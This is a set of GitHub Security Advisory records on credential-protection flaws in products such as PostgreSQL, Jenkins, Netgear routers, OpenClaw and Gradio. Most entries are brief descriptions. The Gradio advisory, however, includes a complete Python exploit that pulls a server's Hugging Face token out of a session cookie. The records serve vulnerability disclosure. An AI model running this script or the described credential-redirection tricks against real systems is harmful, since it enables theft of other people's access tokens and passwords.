CWE-522

{
  "affected": [],
  "aliases": [
    "CVE-2017-7547"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-522"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-08-16T18:29:00Z",
    "severity": "HIGH"
  },
  "details": "PostgreSQL versions before 9.2.22, 9.3.18, 9.4.13, 9.5.8 and 9.6.4 are vulnerable to authorization flaw allowing remote authenticated attackers to retrieve passwords from the user mappings defined by the foreign server owners without actually having the privileges to do so.",
  "id": "GHSA-gx5r-vvjw-c75c",
  "modified": "2025-04-20T03:43:11Z",
  "published": "2022-05-13T01:47:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-7547"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2017:2677"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2017:2678"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2017:2728"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/201710-06"
    },
    {
      "type": "WEB",
      "url": "https://www.postgresql.org/about/news/1772"
    },
    {
      "type": "WEB",
      "url": "http://www.debian.org/security/2017/dsa-3935"
    },
    {
      "type": "WEB",
      "url": "http://www.debian.org/security/2017/dsa-3936"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/100275"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1039142"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2017-13998"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-522"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-10-05T21:29:00Z",
    "severity": "HIGH"
  },
  "details": "An Insufficiently Protected Credentials issue was discovered in LOYTEC LVIS-3ME versions prior to 6.2.0. The application does not sufficiently protect sensitive information from unauthorized access.",
  "id": "GHSA-gx6w-q8w8-3vvh",
  "modified": "2022-05-13T01:37:42Z",
  "published": "2022-05-13T01:37:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-13998"
    },
    {
      "type": "WEB",
      "url": "https://ics-cert.us-cert.gov/advisories/ICSA-17-257-01"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/100847"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2017-17691"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-522"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-09-07T22:29:00Z",
    "severity": "HIGH"
  },
  "details": "Homeputer CL Studio fur HomeMatic 4.0 Rel 160808 and earlier uses cleartext to exchange the username and password between server and client instances, which allows remote attackers to obtain sensitive information via a man in the middle attack.",
  "id": "GHSA-gxhv-4gh7-jj3f",
  "modified": "2022-05-13T01:44:27Z",
  "published": "2022-05-13T01:44:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-17691"
    },
    {
      "type": "WEB",
      "url": "https://www.compass-security.com/fileadmin/Datein/Research/Advisories/CSNC-2017-031_homematic.txt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2019-20150"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-522"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-08-20T13:15:00Z",
    "severity": "MODERATE"
  },
  "details": "In TreasuryXpress 19191105, a logged-in user can discover saved credentials, even though the UI hides them. Using functionality within the application and a malicious host, it is possible to force the application to expose saved SSH/SFTP credentials. This can be done by using the application\u0027s editor to change the expected SFTP Host IP to a malicious host, and then using the Check Connectivity option. The application then sends these saved credentials to the malicious host.",
  "id": "GHSA-gxq8-qw7q-mh32",
  "modified": "2022-05-24T17:26:12Z",
  "published": "2022-05-24T17:26:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-20150"
    },
    {
      "type": "WEB",
      "url": "https://sion-evans.com/blog/CVE-2019-20150.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "de.wellnerbou.jenkins:git-changelog"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.18"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2019-10414"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-522"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-02-23T20:32:21Z",
    "nvd_published_at": "2019-09-25T16:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Git Changelog Plugin stored MediaWiki and Jira passwords unencrypted in job `config.xml` files on the Jenkins controller. These passwords could be viewed by users with Extended Read permission, or access to the Jenkins controller file system.\n\nGit Changelog Plugin now stores these passwords encrypted. Existing jobs need to have their configuration saved for existing plain text passwords to be overwritten.",
  "id": "GHSA-h27g-72mh-9m33",
  "modified": "2023-02-23T20:32:21Z",
  "published": "2022-05-24T16:56:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-10414"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jenkinsci/git-changelog-plugin/commit/356243aa6d3f6ad60f057e7567a3466910618441"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jenkinsci/git-changelog-plugin"
    },
    {
      "type": "WEB",
      "url": "https://jenkins.io/security/advisory/2019-09-25/#SECURITY-1574"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2019/09/25/3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Jenkins Git Changelog Plugin has Insufficiently Protected Credentials"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2026.4.5"
            },
            {
              "fixed": "2026.4.20"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44992"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-15",
      "CWE-522"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-25T23:50:10Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Affected Packages / Versions\n\n- Package: `openclaw` (npm)\n- Affected versions: `\u003e= 2026.4.5, \u003c 2026.4.20`\n- Patched version: `2026.4.20`\n\n## Impact\n\nA malicious workspace `.env` could set `MINIMAX_API_HOST` and redirect credentialed MiniMax requests to an attacker-controlled origin, exposing the MiniMax API key in the outbound `Authorization` header.\n\nThis requires running OpenClaw from an attacker-controlled workspace. Severity is medium.\n\n## Fix\n\nOpenClaw now blocks `MINIMAX_API_HOST` from workspace dotenv injection and removes env-driven URL routing from the affected MiniMax request path.\n\nFix commit:\n\n- `2f06696579a1ab0cb5bbbbb6a900414a6b2e3cd1`\n\n## Release\n\nFixed in OpenClaw `2026.4.20`.",
  "id": "GHSA-h2vw-ph2c-jvwf",
  "modified": "2026-05-19T15:56:13Z",
  "published": "2026-04-25T23:50:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-h2vw-ph2c-jvwf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44992"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/2f06696579a1ab0cb5bbbbb6a900414a6b2e3cd1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-minimax-api-host-override-via-workspace-dotenv"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw: Workspace dotenv MiniMax host override could redirect credentialed requests"
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-27926"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-276",
      "CWE-522"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-10T23:15:35Z",
    "severity": "MODERATE"
  },
  "details": "In Nintex Automation 5.6 and 5.7 before 5.8, the K2 SmartForms Designer folder has configuration files (web.config) containing passwords that are readable by unauthorized users.",
  "id": "GHSA-h2w7-2v8j-jgm7",
  "modified": "2025-03-11T00:31:49Z",
  "published": "2025-03-11T00:31:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27926"
    },
    {
      "type": "WEB",
      "url": "https://help.nintex.com/en-US/platform/ReleaseNotes/K2Five.htm"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-45077"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-522"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-12-30T22:15:00Z",
    "severity": "HIGH"
  },
  "details": "Netgear Nighthawk R6700 version 1.0.4.120 stores sensitive information in plaintext. All usernames and passwords for the device\u0027s associated services are stored in plaintext on the device. For example, the admin password is stored in plaintext in the primary configuration file on the device.",
  "id": "GHSA-h2wq-r4cc-9wqv",
  "modified": "2022-07-13T00:01:50Z",
  "published": "2021-12-31T00:00:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-45077"
    },
    {
      "type": "WEB",
      "url": "https://www.tenable.com/security/research/tra-2021-57"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "gradio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.16.0"
            },
            {
              "fixed": "6.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27167"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-522",
      "CWE-798"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-01T01:00:33Z",
    "nvd_published_at": "2026-02-27T22:16:22Z",
    "severity": "LOW"
  },
  "details": "## Summary\n\nGradio applications running outside of Hugging Face Spaces automatically enable \"mocked\" OAuth routes when OAuth components (e.g. `gr.LoginButton`) are used. When a user visits `/login/huggingface`, the server retrieves its own Hugging Face access token via `huggingface_hub.get_token()` and stores it in the visitor\u0027s session cookie. If the application is network-accessible, any remote attacker can trigger this flow to steal the server owner\u0027s HF token. The session cookie is signed with a hardcoded secret derived from the string `\"-v4\"`, making the payload trivially decodable.\n\n## Affected Component\n\n`gradio/oauth.py` \u2014 functions `attach_oauth()`, `_add_mocked_oauth_routes()`, and `_get_mocked_oauth_info()`.\n\n## Root Cause Analysis\n\n### 1. Real token injected into every visitor\u0027s session\n\nWhen Gradio detects it is **not** running inside a Hugging Face Space (`get_space() is None`), it registers mocked OAuth routes via `_add_mocked_oauth_routes()` (line 44).\n\nThe function `_get_mocked_oauth_info()` (line 307) calls `huggingface_hub.get_token()` to retrieve the **real** HF access token configured on the host machine (via `HF_TOKEN` environment variable or `huggingface-cli login`). This token is stored in a dict that is then injected into the session of **any visitor** who hits `/login/callback` (line 183):\n\n```python\nrequest.session[\"oauth_info\"] = mocked_oauth_info\n```\n\nThe `mocked_oauth_info` dict contains the real token at key `access_token` (line 329):\n\n```python\nreturn {\n    \"access_token\": token,  # \u003c-- real HF token from server\n    ...\n}\n```\n\n### 2. Hardcoded session signing secret\n\nThe `SessionMiddleware` secret is derived from `OAUTH_CLIENT_SECRET` (line 50):\n\n```python\nsession_secret = (OAUTH_CLIENT_SECRET or \"\") + \"-v4\"\n```\n\nWhen running outside a Space, `OAUTH_CLIENT_SECRET` is not set, so the secret becomes the **constant string `\"-v4\"`**, hashed with SHA-256. Since this value is public (hardcoded in source code), any attacker can decode the session cookie payload without needing to break the signature.\n\nIn practice, Starlette\u0027s `SessionMiddleware` stores the session data as **plaintext base64** in the cookie \u2014 the signature only provides integrity, not confidentiality. The token is readable by simply base64-decoding the cookie payload.\n\n## Attack Scenario\n\n### Prerequisites\n\n- A Gradio app using OAuth components (`gr.LoginButton`, `gr.OAuthProfile`, etc.)\n- The app is network-accessible (e.g. `server_name=\"0.0.0.0\"`, `share=True`, port forwarding, etc.)\n- The host machine has a Hugging Face token configured\n- `OAUTH_CLIENT_SECRET` is **not** set (default outside of Spaces)\n\n### Steps\n\n1. Attacker sends a GET request to `http://\u003ctarget\u003e:7860/login/huggingface`\n2. The server responds with a 307 redirect to `/login/callback`\n3. The attacker follows the redirect; the server sets a `session` cookie containing the real HF token\n4. The attacker base64-decodes the cookie payload (everything before the first `.`) to extract the `access_token`\n\n\n## Minimal Vulnerable Application\n\n```python\nimport gradio as gr\nfrom huggingface_hub import login\n\nlogin(token=\"hf_xxx...\")\n\ndef hello(profile: gr.OAuthProfile | None) -\u003e str:\n    if profile is None:\n        return \"Not logged in.\"\n    return f\"Hello {profile.name}\"\n\nwith gr.Blocks() as demo:\n    gr.LoginButton()\n    gr.Markdown().attach_load_event(hello, None)\n\ndemo.launch(server_name=\"0.0.0.0\")\n\n```\n\n## Proof of Concept\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPOC: Gradio mocked OAuth leaks server\u0027s HF token via session + weak secret\nUsage: python exploit.py --target http://victim:7860\n       python exploit.py --target http://victim:7860 --proxy http://127.0.0.1:8080\n\"\"\"\nimport argparse\nimport base64\nimport json\nimport sys\nimport requests\n\n\ndef main():\n    ap = argparse.ArgumentParser()\n    ap.add_argument(\"--target\", required=True, help=\"Base URL, e.g. http://host:7860\")\n    ap.add_argument(\"--proxy\", default=None, help=\"HTTP proxy, e.g. http://127.0.0.1:8080\")\n    args = ap.parse_args()\n\n    base = args.target.rstrip(\"/\")\n    proxies = {\"http\": args.proxy, \"https\": args.proxy} if args.proxy else None\n\n    # 1. Trigger mocked OAuth flow \u2014 server injects its own HF token into our session\n    s = requests.Session()\n    s.get(f\"{base}/login/huggingface\", allow_redirects=True, verify=False, proxies=proxies)\n\n    cookie = s.cookies.get(\"session\")\n    if not cookie:\n        print(\"[-] No session cookie received; target may not be vulnerable.\", file=sys.stderr)\n        sys.exit(1)\n\n    # 2. Decode the cookie payload (base64 before the first \".\")\n    payload_b64 = cookie.split(\".\")[0]\n    payload_b64 += \"=\" * (-len(payload_b64) % 4)  # fix padding\n    data = json.loads(base64.b64decode(payload_b64))\n    token = data.get(\"oauth_info\", {}).get(\"access_token\")\n\n    if token:\n        print(f\"[+] Leaked HF token: {token}\")\n    else:\n        print(\"[-] No access_token found in session.\", file=sys.stderr)\n        sys.exit(1)\n\n\nif __name__ == \"__main__\":\n    main()\n```",
  "id": "GHSA-h3h8-3v2v-rg7m",
  "modified": "2026-06-05T17:56:29Z",
  "published": "2026-03-01T01:00:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gradio-app/gradio/security/advisories/GHSA-h3h8-3v2v-rg7m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27167"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gradio-app/gradio/commit/dfee0da06d0aa94b3c2684131e7898d5d5c1911e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gradio-app/gradio"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gradio-app/gradio/releases/tag/gradio@6.6.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/gradio/PYSEC-2026-63.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Gradio: Mocked OAuth Login Exposes Server Credentials and Uses Hardcoded Session Secret"
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-47376"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-257",
      "CWE-522"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-06-13T20:15:08Z",
    "severity": "HIGH"
  },
  "details": "The Alaris Infusion Central software, versions 1.1 to 1.3.2, may contain a recoverable password after the installation. No patient health data is stored in the database, although some site installations may choose to store personal data.",
  "id": "GHSA-h3m9-vw67-pc8x",
  "modified": "2024-04-04T04:47:58Z",
  "published": "2023-06-13T21:30:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-47376"
    },
    {
      "type": "WEB",
      "url": "https://www.bd.com/en-us/about-bd/cybersecurity/bulletin/alaris-infusion-central-recoverable-password-vulnerability"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ]
}